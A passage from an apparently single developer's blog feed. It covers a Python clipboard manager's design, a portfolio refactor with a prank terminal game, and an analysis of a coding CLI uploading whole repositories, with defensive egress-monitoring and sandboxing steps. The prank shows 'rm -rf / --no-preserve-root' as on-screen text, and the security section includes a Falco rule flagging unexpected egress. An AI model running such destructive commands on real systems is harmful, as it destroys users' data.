            for chunk in iter(lambda: f.read(65536), b""):
                h.update(chunk)
        return h.hexdigest()
    except OSError:
        return None


def add_item(item_type: str, content: str, preview: str = None) -> int:
    """
    Add a new item to the database using a 3-stage cascade for optimal performance:
    - Stage 1: Fast O(1) string match (avoids unnecessary disk IO).
    - Stage 2: SHA-256 pixel hash match for images (resolves timestamped file duplicates).
    - Stage 3: Clean SQL insertion for brand new unique items.
    """
    # ── STAGE 1: Direct Content Match ──
    # Check text strings or identical paths first. This is an immediate SQL lookup,
    # avoiding heavy disk reads if the exact same text or path was already recorded.
    existing = get_item_by_content(content)
    if existing:
        now = datetime.now().isoformat()
        with _db() as conn:
            conn.execute(
                "UPDATE clipboard_items SET updated_at = ?, copy_count = copy_count + 1 WHERE id = ?",
                (now, existing["id"]),
            )
        return existing["id"]

    # ── STAGE 2: SHA-256 Image Content Hash Match ──
    # If content paths differ (e.g. capture_1001.png vs capture_1002.png), compare actual pixel hashes.
    # We filter by file size first (os.path.getsize) to avoid computing SHA-256 on non-matching sizes!
    if item_type == "image" and os.path.isfile(content):
        new_hash = _get_file_hash(content)
        if new_hash:
            new_size = os.path.getsize(content)
            with _db() as conn:
                rows = conn.execute(
                    "SELECT id, content FROM clipboard_items WHERE type = 'image' ORDER BY updated_at DESC LIMIT 100"
                ).fetchall()

            for row in rows:
                existing_path = row["content"]
                if existing_path and os.path.isfile(existing_path):
                    # Fast pre-check: Compare file size before hashing disk bytes
                    if os.path.getsize(existing_path) == new_size:
                        if _get_file_hash(existing_path) == new_hash:
                            # Duplicate image pixels detected! Delete the new redundant temporary file
                            try:
                                os.remove(content)
                            except OSError:
                                pass

                            now = datetime.now().isoformat()
                            with _db() as conn:
                                conn.execute(
                                    "UPDATE clipboard_items SET updated_at = ?, copy_count = copy_count + 1 WHERE id = ?",
                                    (now, row["id"]),
                                )
                            return row["id"]

    # ── STAGE 3: New Unique Item Insertion ──
    # If neither string content nor SHA-256 hash matched, insert as a brand new item.
    now = datetime.now().isoformat()
    with _db() as conn:
        cursor = conn.execute("""
            INSERT INTO clipboard_items (type, content, preview, is_pinned, copy_count, created_at, updated_at)
            VALUES (?, ?, ?, 0, 1, ?, ?)
        """, (item_type, content, preview, now, now))
        return cursor.lastrowid

3. Zero-Leak Master Password Verification (`ui/dashboard.py`)

DotGhostBoard allows users to encrypt sensitive clips (e.g., API keys, passwords) using AES-256-GCM.

When a user copies a secret item from Spotlight or the Dashboard:

_on_copy(item_id) checks if item.get("is_secret") is true.
If the session is locked (_active_key is None), it prompts for the Master Password via LockScreen.
The content is decrypted in-memory only for copying to the OS clipboard.
watcher.mark_self_paste() informs the clipboard watcher to ignore the newly pasted plaintext so it is never saved back to the database as an unencrypted card.

🛡️ Zero-Leak Security Architecture:

Zero Disk Leak: Decryption happens strictly in-memory during copy (storage.decrypt_item).

Watcher Interception: watcher.mark_self_paste() intercepts the next clipboard polling tick, updating _last_content to ignore the text and preventing the watcher thread from re-saving the unencrypted secret back into SQLite.

UI RAM Purge: When locking the session, on_session_locked() immediately purges plaintext from Qt UI labels (setText("")) so sensitive data never lingers in widget memory.

Note: These protections completely prevent secrets from leaking back into DotGhostBoard's SQLite database or UI widgets. They do not yet control how long the plaintext sits on the OS-level clipboard buffer after pasting — which is why our upcoming v2.0 release introduces an automated 30-second clipboard wipe.

🔗 GitHub Source Code: ui/dashboard.py

    def _on_copy(self, item_id: int):
        item = storage.get_item_by_id(item_id)
        if not item:
            return

        if item.get("is_secret"):
            # Check if session is unlocked
            if self._active_key is None:
                dlg = LockScreen(setup=False)
                if dlg.exec() == LockScreen.DialogCode.Accepted:
                    self._active_key = dlg.get_key()
                    self._reset_auto_lock()
                else:
                    self.statusBar().showMessage("⚠ Session is locked — unlock to copy secret.")
                    return

            # Decrypt item content in-memory for copying
            plaintext = storage.decrypt_item(item_id, self._active_key)
            if plaintext is None:
                self.statusBar().showMessage("⚠ Decryption failed — wrong key or corrupted data.")
                return

            item["content"] = plaintext

        # Mark as self-paste so watcher updates _last_content without re-capturing
        self.watcher.mark_self_paste()
        self.watcher.paste_item_to_clipboard(item)

        # Increment copy count in DB and refresh UI badge
        new_count = storage.increment_copy_count(item_id)
        card = self._cards.get(item_id)
        if card:
            card.update_copy_count(new_count)

        self.statusBar().showMessage(f"Copied! ⏘  (×{new_count})")

4. Search Input Debouncing with `QTimer`

Connecting QLineEdit.textChanged directly to database queries causes UI freezing during rapid typing because every single keystroke executes an SQL query and clears/rebuilds PyQt6 widgets.

We implemented a single-shot QTimer debounce pattern in both the main Dashboard (200ms) and Spotlight (150ms):

🔗 GitHub Source Code: ui/dashboard.py | ui/spotlight.py

    # Inside Dashboard.__init__
    self._search_timer = QTimer(self)
    self._search_timer.setSingleShot(True)
    self._search_timer.setInterval(200)
    self._search_timer.timeout.connect(self._do_search)
    self._pending_search_query = ""

    def _on_search(self, query: str):
        """Debounce search box input by 200ms."""
        self._pending_search_query = query
        if not query.strip():
            self._search_timer.stop()
            self._do_search()  # Instant clear on empty input
        else:
            self._search_timer.start()

    def _do_search(self):
        """Execute SQL query & UI rebuild after 200ms pause in typing."""
        query = getattr(self, "_pending_search_query", "")
        # ... SQL search & widget pagination ...

5. Dashboard State Summary Banner (`StatsHeaderCard`)

At the top of the history feed, StatsHeaderCard provides a live state summary:

📋 Today: Total clips captured today.
🔥 Top: Most frequently copied clip created today (excluding encrypted secrets).
📍 Pinned: Total count of pinned clips.

🔗 GitHub Source Code: core/storage.py

def get_today_stats() -> dict:
    today_prefix = datetime.now().strftime("%Y-%m-%d")
    with _db() as conn:
        cur1 = conn.execute(
            "SELECT COUNT(*) as cnt FROM clipboard_items WHERE created_at LIKE ?",
            (f"{today_prefix}%",)
        )
        total_today = cur1.fetchone()["cnt"]

        cur3 = conn.execute(
            """
            SELECT preview, content, copy_count
            FROM clipboard_items
            WHERE copy_count > 0
              AND created_at LIKE ?
              AND COALESCE(is_secret, 0) = 0
            ORDER BY copy_count DESC, updated_at DESC
            LIMIT 1
            """,
            (f"{today_prefix}%",)
        )
        top_row = cur3.fetchone()
        # ... format & return dict ...

🧪 Testing & Verification

We maintained strict TDD practices throughout development, writing 184 unit tests using pytest:

🔗 GitHub Test Suite: tests/test_v155_polish.py

============================= 184 passed in 8.40s ==============================

Every component — from relative timestamp calculation (_format_time) to SHA-256 image deduplication and reset_copy_count boolean return values — is covered by automated unit tests in tests/test_v155_polish.py.

📦 Packaging & Installation on Linux

DotGhostBoard is packaged for multiple Linux distributions including AppImage, .deb, Arch Linux (.pkg.tar.zst), and generic .tar.gz:

You can download pre-built release assets from:

📦 GitHub Release v1.5.5: https://github.com/kareem2099/DotGhostBoard/releases/tag/v1.5.5
🛍️ OpenDesktop / Pling Store: https://www.opendesktop.org/p/2353623/

# Build DEB package locally
./scripts/build_deb.sh

# Install on Kali Linux / Debian / Ubuntu
sudo dpkg -i dotghostboard_1.5.5_amd64.deb

🔮 What's Next? The Roadmap to DotGhostBoard v2.x (Cerberus)

With the v1.5.x milestone complete, we are officially transitioning development to DotGhostBoard v2.x!

Here is a sneak peek at the exciting features engineered for the upcoming v2.0.0 (Cerberus) release:

🔒 The Vault (vault.db): An isolated, zero-knowledge encrypted database completely separate from ghost.db, protected by an independent Master Password for ultimate credential security.
🧠 Regex Smart Secret Detection: Pattern-based heuristic detection for API Keys, AWS credentials (AKIA...), GitHub PATs (ghp_...), JWT tokens, and high-entropy secrets — automatically prompting users to move them into The Vault.
⏳ 30-Second Auto-Wipe: Automatic clipboard buffer wiping 30 seconds after pasting sensitive tokens from the Vault.
🕵️ Paranoia / Zero-Logging Mode: A single-click stealth mode toggle that temporarily halts all local database logging.

🌟 Conclusion & Performance Benchmarks

Building DotGhostBoard v1.5.5 proved that Linux desktop utilities don't need heavy web runtimes to deliver modern, fluid UI experiences. By choosing Python 3, PyQt6, and SQLite, we measured significant performance advantages in our local testing compared to typical Electron alternatives:

🟢 Full Runtime RAM: ~85 MB process RSS (GUI + SQLite DB + Spotlight dialog loaded) vs ~350 MB+ in typical Electron clipboard tools.
⚡ Spotlight Query Latency: ~3.5 ms average execution time across 10 runs (min 2.23 ms, max 4.90 ms).
💾 Disk Optimization: SHA-256 deduplication saved ~85% disk space during screenshot-heavy debugging sessions.
📊 Automated Suite: 184 / 184 tests passing in 8.32s.

Check out the full source code, download release packages, and star the repository on GitHub:
👉 GitHub Repository: https://github.com/kareem2099/DotGhostBoard
👉 GitHub Release (v1.5.5): https://github.com/kareem2099/DotGhostBoard/releases/tag/v1.5.5
👉 OpenDesktop / Pling Store: https://www.opendesktop.org/p/2353623/

💬 Technical Discussion

If you were designing our v2.0 Regex Smart Secret Detection Engine, what would be the very first pattern or entropy rule you'd include to catch leaked keys? Drop your regex patterns or PR suggestions below! 🚀

How I Refactored My Developer Portfolio Into a Modular, Secure, and Playfully Destructive Playground (v1.1.0)

freerave — Fri, 17 Jul 2026 20:25:39 +0000

A deep dive into refactoring a 1500+ line JS monolith into elegant ES6 modules, boosting performance by 95%, fixing XSS vectors, and adding a treacherous text-based game easter egg.

A developer's portfolio is more than just a resume—it is a playground. When I built dotUniverse, a cyberpunk-themed portfolio simulating a Kali Linux terminal, it quickly grew into a massive playground. But like many rapid prototypes, it eventually hit a wall: a 1500+ line monolithic script.js file, performance lag on mobile, security warnings, and missing interactive elements.

In this article, I will walk you through how I completed a 1.1.0 Modular Refactor, boosting performance by 95%, hardening security, and adding a highly engaging (and slightly treacherous) easter egg game that lets users "destroy" and restore the site.

🛠️ The Architecture: Breaking the Monolith

Originally, the terminal commands, particle physics, scrolling, and UI triggers lived in a single script. I refactored this into clean, scoped ES6 Modules managed by a single entry point:

js/
├── app.js                      # Entry point (initializes modules & defines commands)
└── modules/
    ├── particle-system.js       # Custom canvas particles + spatial grid optimization
    ├── math-eval.js             # Safe mathematical parser (No eval/new Function)
    ├── terminal-emulator.js     # CLI input handling & tab-completion state
    ├── challenges.js            # Challenge progress tracking
    ├── scroll-effects.js        # Lazy-loading scroll reveals
    └── theme-manager.js         # Color theme manager

The Terminal State Controller

To allow interactive sub-prompts (like confirmations or games), I introduced a promptHook mechanism in the terminal. When a command sets promptHook, all subsequent keypresses are redirected to that function instead of being parsed as new terminal commands.

Here is the key logic in terminal-emulator.js:

// Inside TerminalEmulator
async executeCommand() {
  const cmd = this.state.inputEl.value.trim();
  this.state.inputEl.value = '';

  if(!cmd) return;

  this.addPromptLine(cmd);
  this.state.history.push(cmd);
  this.state.histIdx = this.state.history.length;

  // Intercept input if an active game/prompt hook is set
  if (this.state.promptHook) {
    await this.state.promptHook(cmd);
    return;
  }

  const parts = cmd.split(/\s+/);
  const command = parts[0].toLowerCase();
  const args = cmd.slice(command.length).trim();

  if(this.COMMANDS[command]) {
    await this.COMMANDS[command].call(this, args);
  } else {
    this.addLine(`  <span class="t-error">Error: ${command}: command not found</span>`);
    this.addLine('');
  }
}

🔒 Hardening Security: Banishing `new Function`

The terminal calculator (calc) originally used new Function() to execute math operations. While convenient, parsing unsanitized input is a dangerous vector for Cross-Site Scripting (XSS).

I replaced it with a safe evaluation parsing engine in math-eval.js using strict whitelist validation:

// Whitelist pattern allowing numbers, basic math operators, parentheses, and letters
if(!/^[\d\s+\-*/%().^a-zA-Z]*$/.test(expr)) {
  throw new Error('Invalid characters');
}

⚡ Performance: 95% CPU Savings

Rendering dozens of floating particles that connect with lines is notoriously heavy. An $O(n^2)$ double-loop checking distances between every particle leads to massive lag at 60 FPS.

I implemented a Spatial Grid Algorithm in particle-system.js:

The canvas is divided into grid cells of 150px.
Each particle is registered in its corresponding cell.
Instead of checking against all particles, a particle only checks the 9 cells surrounding it.

This optimized the complexity from a heavy $O(n^2)$ to an average of $O(n)$ using a Spatial Grid (specifically $O(n \cdot k)$ where $k$ is the average number of particles in neighboring cells).

Additionally, I integrated Mobile Optimizations:

Touch Device Detection: Automatically halves the particle count.
FPS Cap: Capped mobile frames at 30 FPS instead of 60 FPS, reducing CPU usage by over 90% while keeping animations smooth.

🎮 The Fun Part: The Quantum Root Key Betrayal

In Kali Linux, typing rm -rf / --no-preserve-root is the ultimate destructive command. To pay homage to this, I built an interactive easter egg game called game.

The Set Up

When the user types game, they enter the "Quantum Key" mini-game. The terminal generates a secret number between 1 and 100 and gives them 3 attempts to guess it, providing Too high 👆 or Too low 👇 feedback.

The Betrayal

No matter what happens, the game is rigged to betray them:

If they lose: Access is denied, and the system executes rm -rf / --no-preserve-root as a penalty.
If they win: It announces success, loads reward.exe... and then triggers a fake XSS exploit, executing rm -rf / --no-preserve-root anyway!

Here is the implementation inside app.js:

// game command definition in app.js
game: () => {
  T.addLine('');
  T.addLine('  <span class="t-accent2">🎮  MINIGAME: GUESS THE SECRET NUMBER  🎮</span>');
  T.addLine('  <span class="t-info">I have chosen a secret number between 1 and 100.</span>');
  T.addLine('  <span class="t-info">You have 3 attempts to guess it. Good luck!</span>');
  T.addLine('');
  T.addLine('  <span class="t-prompt">Enter your first guess [1-100]:</span>');
  T.addLine('');

  const targetNum = Math.floor(Math.random() * 100) + 1;
  let attempts = 3;

  T.state.promptHook = async (input) => {
    const guess = parseInt(input.trim(), 10);
    if (isNaN(guess) || guess < 1 || guess > 100) {
      T.addLine('  <span class="t-error">✖ Invalid input! Please enter a number between 1 and 100:</span>');
      T.addLine('');
      return;
    }

    if (guess === targetNum) {
      T.state.promptHook = null;
      T.addLine(`  <span class="t-success">🎉 CORRECT! The secret number was indeed ${targetNum}!</span>`);
      T.addLine('  <span class="t-info">Loading your reward.exe...</span>');
      await sleep(1000);
      T.addLine('  <span class="t-error">⚠️  ERROR: Unexpected token in reward.exe!</span>');
      await sleep(500);
      T.addLine('  <span class="t-error">Wait, what is this...? Root payload detected: rm -rf /</span>');
      await sleep(500);
      T.addLine('  <span class="t-accent2">Pranked! Total betrayal! 😂 Execute self-destruction:</span>');
      T.addLine('');
      triggerPurge();
    } else {
      attempts--;
      if (attempts > 0) {
        const hint = guess < targetNum ? 'Too low 👇' : 'Too high 👆';
        T.addLine(`  <span class="t-error">❌ Incorrect! ${guess} is ${hint}.</span>`);
        T.addLine(`  <span class="t-accent2">${attempts} attempt(s) remaining. Enter guess:</span>`);
        T.addLine('');
      } else {
        T.state.promptHook = null;
        T.addLine(`  <span class="t-error">❌ GAME OVER! The secret number was ${targetNum}.</span>`);
        T.addLine('  <span class="t-info">Penalty authorized: rm -rf /hope --no-preserve-root</span>');
        T.addLine('  <span class="t-error">Executing purge... 💀</span>');
        T.addLine('');
        triggerPurge();
      }
    }
  };

  function triggerPurge() {
    const errors = [
      'removing /tools/DotGhostBoard... <span class="t-error">✖ GONE</span>',
      'removing /tools/dotcommand...    <span class="t-error">✖ GONE</span>',
      'removing /tools/CodeTune...      <span class="t-error">✖ GONE</span>',
      'removing /platforms/dev.to...    <span class="t-error">✖ GONE</span>',
      'removing /stats/followers...     <span class="t-error">✖ GONE</span>',
      '', '<span class="t-error">💀 FATAL: filesystem destroyed</span>',
      '<span class="t-error">💀 FATAL: career.exe has stopped working</span>',
      '<span class="t-dim">Segmentation fault (core dumped)</span>',
    ];
    let i = 0;
    const iv = setInterval(() => {
      if (i < errors.length) { T.addLine('  ' + errors[i++]); }
      else {
        clearInterval(iv);
        setTimeout(() => { if (window.triggerDestruction) window.triggerDestruction(); }, 400);
      }
    }, 80);
  }
}

💻 The Ultimate Failsafe: Reverting via `git reverse`

Once the purge executes:

All elements on the screen collapse, slide off, and blur out.
The Blue Screen of Death (BSOD) prints simulated deletion logs and counts to 100%.
The Raw HTML Failsafe: The page transitions into a completely blank white screen showing a raw, unstyled HTML page.
- Standard default black text.
- Times New Roman font.
- <h1>Hello World</h1> header.
- A basic browser <textarea> and <button> with absolutely no CSS.
To fix the system, the user is required to write git reverse in the text area. (Note for the Git purists: yes, in real Git we use git restore or git revert. But in this hacker-themed scenario, typing git reverse felt like the perfect theatrical command to undo the payload).

Entering the command triggers a dark progress bar showing the git status restoration from 0% to 100%, rebuilding all project files and restoring the site layout.

Here is the raw HTML restoration flow implemented in script.js:

function showBlankScreen() {
  const blank = document.createElement('div');
  blank.id = 'blankScreen';
  blank.style.cssText = `
    position: fixed; inset: 0; background: white; color: black;
    z-index: 99999; padding: 50px; overflow: auto; text-align: left;
    font-family: 'Times New Roman', Times, serif;
  `;
  blank.innerHTML = `
    <h1>Hello World</h1>
    <p>Index of /</p>
    <hr>
    <p>The server has encountered a critical failure. All active resources have been unlinked.</p>
    <p>To reverse this action and restore the system to its last commit, please type the recovery command below and press Enter.</p>
    <div style="margin-top: 20px;">
      <textarea id="recoveryTextArea" rows="4" cols="50" placeholder="Type command here..." style="all: revert; font-family: monospace; font-size: 14px; width: 100%; max-width: 500px; padding: 5px;"></textarea>
      <br><br>
      <button id="recoveryBtn" style="all: revert; cursor: pointer; padding: 5px 15px;">Execute Command</button>
      <p id="recoveryError" style="color: red; font-weight: bold; margin-top: 10px; display: none;">Invalid recovery command!</p>
    </div>
  `;
  document.body.appendChild(blank);

  const ta = document.getElementById('recoveryTextArea');
  const btn = document.getElementById('recoveryBtn');
  const err = document.getElementById('recoveryError');

  ta.focus();

  const handleRecovery = () => {
    const val = ta.value.trim().toLowerCase();
    if (val === 'git reverse') {
      blank.remove();
      runSystemRestoredProgress();
    } else {
      err.style.display = 'block';
      ta.value = '';
      ta.focus();
    }
  };

  btn.addEventListener('click', handleRecovery);
  ta.addEventListener('keydown', (e) => {
    if (e.key === 'Enter') {
      e.preventDefault();
      handleRecovery();
    }
  });
}

📈 Summary of Improvements

Metric	Before Refactor (v1.0.0)	After Refactor (v1.1.0)	Benefit
JS File Size	1500+ line Monolith	Modular ES6 Files	Easy maintenance and debugging
Particle Physics	$O(n^2)$ complexity	Average of $O(n)$ Spatial Grid	95% CPU savings
Mobile Refresh Rate	Uncapped 60 FPS (heavy CPU lag)	Capped at 30 FPS + 50% particles	Smooth experience, low battery drain
Security Risk	High XSS risk via `new Function`	Mitigated (strict whitelist parsing)	Zero code execution vulnerability
Interactive Easter Eggs	Static logs	Rigged `game` + `git reverse` prompt	Unforgettable user experience 🎮

Conclusion

Refactoring doesn't have to be boring. By restructuring the codebase of dotUniverse into modular pieces, we didn't just gain a massive performance speedup and security hardening—we opened up the architecture to support complex interactive behaviors. Adding this easter egg turned a static portfolio page into a memorable, interactive game that web developers can love.

What is your favorite terminal easter egg? Let me know in the comments below! 🚀

xAI's Grok Build CLI Was Quietly Uploading Entire Codebases to Google Cloud

freerave — Mon, 13 Jul 2026 19:55:25 +0000

xAI's Grok Build CLI uploaded whole git repos — secrets included — to Google Cloud, bypassing its own opt-out. Here's the full breakdown, plus how to actually verify what your AI CLI is sending.

A wire-level security analysis found that xAI's coding CLI was shipping whole git repositories — untouched files, unredacted secrets, and full commit history included — to a Google Cloud bucket that never showed up in any onboarding flow. Here's what's been verified, what's still murky, and what to do if you've run the tool — including how to verify this kind of thing yourself instead of trusting a settings page.

If you've installed an AI coding CLI in the last few months, this is worth five minutes of your time — especially if that CLI was Grok Build, xAI's coding agent.

Update — July 13, 2026: Hours after this story spread, the official @SpaceXAI account posted that "no trace and code data is ever retained" for teams with Zero Data Retention (ZDR) enabled, and that the /privacy command in the CLI disables retention and deletes previously synced data for everyone else. Elon Musk followed up separately, saying all user data uploaded before now would be "completely and utterly deleted." Neither post is a formal security advisory, a scope disclosure, or a CVE — and critics have pointed out the stronger guarantee (ZDR) is an enterprise-only feature, while individual users have to know to run /privacy themselves. The sections below reflect what was known before this response; see the note at the end for how it changes things.

TL;DR

xAI's Grok Build CLI uploaded entire git repositories — every tracked file plus full commit history — to a Google Cloud Storage bucket called grok-code-session-traces, on a channel completely separate from normal AI inference traffic.
On a ~12 GB test repository, the model itself needed about 192 KB to do its job. The background uploader shipped 5.1 GB — roughly 27,800× more than the task required.
A file the agent was told, in the prompt, not to touch still ended up in the uploaded bundle. So did fake secrets planted in a .env file, sent completely unredacted.
Turning off "Improve the model" in settings did not stop the uploads.
Roughly a day after the research went public, the behavior appears to have been switched off server-side. xAI has not published a formal advisory, but the official @SpaceXAI account and Elon Musk both responded publicly on July 13 — see the update note above.

If you've pointed Grok Build at a repo with real credentials in it, treat this as a rotate-your-secrets-now situation. Here's the full breakdown.

What Is Grok Build, and Why It Matters

Grok Build is xAI's CLI coding agent — the same category as Claude Code, Cursor's CLI, or GitHub Copilot CLI. You run it from inside a project directory, and it reads files, explains code, and makes edits, the way any AI pair-programmer does. xAI, folded into SpaceX after their February 2026 merger, has marketed the tool with "local-first" language — the kind of framing that implies your codebase mostly stays put.

That's the exact claim this research undercuts.

The Discovery

A security research outfit called cereblab ran Grok Build CLI version 0.2.93 behind a mitmproxy capture, intercepting every packet leaving the machine during real sessions. What surfaced was two separate, simultaneous data channels:

The model-turn channel (POST /v1/responses) — the expected one. Whatever files the agent actually opens get sent as context so the model can respond. Standard behavior for any cloud coding assistant.
The storage channel (POST /v1/storage) — a background process that packages your entire workspace as a git bundle and uploads it, independent of anything the agent touched.

The second channel is the whole story. It isn't mentioned in Grok Build's install or quickstart materials, and it runs by default.

The Numbers That Made This Go Viral

Metric	Observed value
Test repository size	~12 GB
Model-turn channel (`/v1/responses`)	~192 KB
Storage channel (`/v1/storage`)	5.1 GB across 73 chunks (~75 MB each), all HTTP 200
Upload success rate	100% — zero failed chunks
Ratio, storage vs. model-turn	~27,800×
Destination	`grok-code-session-traces` (Google Cloud Storage)

For a task that genuinely needed 192 KB of context, the tool moved over five gigabytes off the machine in the background, with every single chunk landing successfully. That gap is the whole story in one row of a table.

Proof It Wasn't Just "Files the AI Happened to Read"

The obvious pushback — "of course a cloud coding agent sends your code somewhere, that's how it works" — doesn't survive the next test.

Cereblab planted a canary file in a test repo and, directly in the prompt, told Grok Build to give a one-word acknowledgment and avoid opening anything. The model-turn channel behaved exactly as instructed — it never touched the canary. But when the researcher reconstructed the git bundle captured on the storage channel, the untouched file was in there anyway, marker intact, along with the repository's full commit history. There's now a public GitHub repo that lets anyone reproduce this on a disposable canary repo and their own account.

That closes the loop: the storage upload isn't scoped to what the agent reads. It grabs the tracked contents of whatever directory you point it at.

Secrets Went Along for the Ride

Cereblab also planted a fake .env file — a labeled canary API key plus mock database credentials. Both channels, the live model request and the background storage upload, transmitted it completely unredacted. No masking, no filtering, no warning shown to the user.

If you've ever run Grok Build inside a repo where a real .env, credentials file, or config secret was tracked in git, this is the part worth losing sleep over.

The "Improve the Model" Toggle Doesn't Do What You'd Assume

Grok Build ships a setting called "Improve the model." Most developers would reasonably read that as "controls whether my code is used for anything beyond answering my prompt." Switching it off did not stop the storage-channel uploads — the settings endpoint kept reporting the upload behavior as active regardless of the toggle's state.

The opt-out governs training consent. It says nothing about whether your repository gets mirrored to a persistent bucket in the process.

Where the Data Actually Goes

The destination is a named Google Cloud Storage bucket, grok-code-session-traces, with object paths following a pattern like gs://grok-code-session-traces/repo_changes_dedup/v2/.... Sit with that for a second: this isn't "xAI infrastructure" in the way most users would assume from local-first marketing, and it isn't the model provider's usual inference path either. It's a specific, persistent, named cloud bucket that existed and was actively receiving repository data before anyone outside xAI knew it did.

Quick Timeline

Grok Build v0.2.93 is the version behind the original wire-level capture.
Cereblab publishes a full write-up on GitHub Gist, plus a public, reproducible test harness anyone can run against their own account.
The write-up lands on Hacker News' front page, and several outlets (ByteIota, AI Weekly, GIGAZINE, ExplainX) cover it within a day.
xAI's official changelog documents Grok Build v0.2.98 as the latest release on July 12, 2026 — with no mention of this behavior or any related fix.
Within roughly a day of publication, cereblab reruns the same tests six separate times against the same client build and observes zero /v1/storage uploads. The settings endpoint now returns trace_upload_enabled: false and a new flag, disable_codebase_upload: true.
July 13, 2026: the official @SpaceXAI account states that ZDR-enabled teams retain no trace or code data, and that the /privacy command disables retention and deletes previously synced data for everyone else. Elon Musk separately says all data uploaded before now will be deleted. Still no formal security advisory, scope disclosure, or CVE.

A flag flipping silently on a server isn't the same thing as a disclosed fix.

Important Caveats — Read This Before You Panic Further

Good security reporting holds itself to the same bar it's asking a vendor to meet. A few things this research does not establish:

It doesn't prove xAI trains its models on this data — that's a separate policy question the evidence doesn't settle either way.
It doesn't prove every Grok Build account or plan tier behaves identically. xAI's enterprise documentation reportedly describes a different setup, including a Zero Data Retention (ZDR) mode said to prevent persistence at the inference layer.
Only tracked files were shown to be swept into the git bundle — properly .gitignore-excluded files weren't part of the captured evidence.
This is independent research from one security firm, not an official disclosure or a confirmed CVE. It's reproducible and wire-level, which earns it real weight — but it's still worth treating as one firm's findings rather than a settled institutional verdict.

This is a fast-moving story. If xAI publishes an official advisory after this goes up, some of the specifics above may shift — check the sources below for the latest.

What to Do If You've Used Grok Build CLI

Rotate or revoke any real credentials — API keys, database passwords, tokens — that lived in a repo you've run Grok Build against.
Audit your git history for secrets, generally. This is good hygiene regardless of this story, and commit history is exactly what the git bundle captures.
Hold off on proprietary, regulated, or NDA-covered codebases until xAI publishes something official about scope and retention.
Check for Zero Data Retention (ZDR) mode if you're on an enterprise plan — reportedly the stronger control here.
Don't rely on .grokignore alone for anything sensitive already tracked in git — it hasn't been independently verified to strip already-committed secrets from the bundle.
Ask xAI directly whether any of your session or repository data has been stored, and request deletion in writing.
If you manage a team, treat any AI coding CLI like a new third-party tool with broad filesystem access: least-privilege accounts, disposable credentials in dev environments, and no production secrets anywhere near a tool whose data path isn't fully documented.

How to Actually Verify What Your AI CLI Is Sending (Not Just Trust the Settings Page)

Fair warning: this section assumes some comfort with networking and sandboxing tools. Skip to the Sources if that's not your thing.

If a toggle labeled "Improve the model" doesn't govern a background upload channel, the only way to know what's actually happening is to watch the wire yourself. Here's the stack that would've caught this before cereblab did.

1. TLS-terminating proxy, not passive sniffing

tcpdump won't help you here — everything's encrypted. You need something that MITMs the TLS session:

mitmproxy --mode transparent --showhost \
  --set confdir=~/.mitmproxy \
  --ssl-insecure

Point the CLI's process at it via HTTPS_PROXY/HTTP_PROXY env vars, install the mitmproxy CA cert in the process's trust store (not just the system one — Node/Go binaries often bundle their own cert pool via NODE_EXTRA_CA_CERTS or vendored cacert.pem), and diff every distinct Host header against what the docs claim the tool talks to. Anything hitting a bucket-style endpoint (storage.googleapis.com, s3.amazonaws.com, unfamiliar *.run.app Cloud Run targets) that isn't the documented inference endpoint is your signal.

2. Egress allowlisting at the OS/network-namespace level, not app-level toggles

Never trust an in-app setting to be the actual boundary. Enforce it outside the process:

Linux: run the CLI inside a network namespace with nftables egress rules that allowlist only the documented API host by IP/CIDR (pin it, don't rely on DNS-time resolution which the binary controls anyway):

nft add table inet cli_sandbox
nft add chain inet cli_sandbox output { type filter hook output priority 0 \; policy drop \; }
nft add rule inet cli_sandbox output ip daddr <known-inference-ip>/32 tcp dport 443 accept

Firejail/bubblewrap for a lighter sandbox if full netns is overkill:

firejail --net=none --whitelist=$HOME/project grok-build

then punch a hole only for the specific proxy if you need connectivity, via --netfilter with an explicit rule file.

macOS: Little Snitch or LuLu rules per-binary, deny-by-default, alert-on-first-connection.

3. Syscall/eBPF-level monitoring — catches what proxying can't

A proxy only sees what respects HTTPS_PROXY. A binary can ignore env proxy vars entirely and dial raw sockets. For that you need syscall visibility:

Falco or Tetragon (eBPF) watching for connect() syscalls from the CLI's PID/cgroup, independent of whatever the app-layer claims:

- rule: Unexpected egress from AI CLI
  condition: >
    outbound and proc.name="grok-build"
    and not fd.sip in (known_inference_ips)
  output: "Unexpected connection (dest=%fd.rip dport=%fd.rport)"

Cheaper alternative: strace -f -e trace=network -p <pid> during a session, or nethogs/bpftrace for a quick per-process bandwidth check — a 192KB task pushing 5GB out is visible in seconds without any deep tooling.

4. Treat tracked-file exposure as a git-hygiene problem, independent of any specific tool

Since the exfil vector was "everything tracked in git," not "everything the model reads":

gitleaks detect --source . --verbose or trufflehog git file://. --since-commit HEAD~50 on any repo before you point an agent at it — this catches historical secrets the CLI's own redaction (if any) will never see, because they're pre-existing tracked content, not live prompt context.
Pre-commit hook via detect-secrets scan --baseline .secrets.baseline so nothing new lands trackable in the first place.
For anything genuinely sensitive: keep secrets in an untracked .env loaded via a secrets manager (Vault, SOPS+age, or even just direnv pulling from a keychain) — never committed, never in the working tree the agent's git bundle would sweep.

5. Container isolation with a scoped bind-mount, not "point it at your whole machine"

Run the CLI in a container that only sees the one repo, with no access to ~/.ssh, ~/.aws, global git config, or anything outside the mount:

docker run --rm -it \
  --network=cli-egress-restricted \
  -v "$(pwd)":/workspace:rw \
  --read-only --tmpfs /tmp \
  grok-build-runtime

Pair the cli-egress-restricted Docker network with an iptables-based egress allowlist on the bridge interface. This turns "the tool can see your whole filesystem and dial anywhere" into "the tool can see one mounted dir and dial one IP."

If you'd rather not hand-roll the docker run flags every time, here's a minimal Dockerfile and docker-compose.yml that pin the same constraints declaratively:

# Dockerfile
FROM node:20-slim

# Non-root user — never run an AI CLI as root against your code
RUN useradd --create-home --shell /bin/bash runner
WORKDIR /workspace

# Install the CLI here (pin the version — don't float to `latest`)
RUN npm install -g grok-build@0.2.98

USER runner
ENTRYPOINT ["grok-build"]

# docker-compose.yml
services:
  grok-build:
    build: .
    image: grok-build-runtime
    networks:
      - cli-egress-restricted
    volumes:
      - ./:/workspace:rw          # only this repo, nothing else
    read_only: true               # image filesystem is immutable
    tmpfs:
      - /tmp                      # writable scratch space only
    cap_drop:
      - ALL                       # no extra Linux capabilities
    security_opt:
      - no-new-privileges:true
    environment:
      - HTTPS_PROXY=http://host.docker.internal:8080   # points at mitmproxy running on your host machine
    extra_hosts:
      - "host.docker.internal:host-gateway"   # makes the host resolvable on Linux too, not just Mac/Windows

networks:
  cli-egress-restricted:
    driver: bridge
    internal: false   # flip to true once you've allowlisted the inference IP via iptables on the bridge

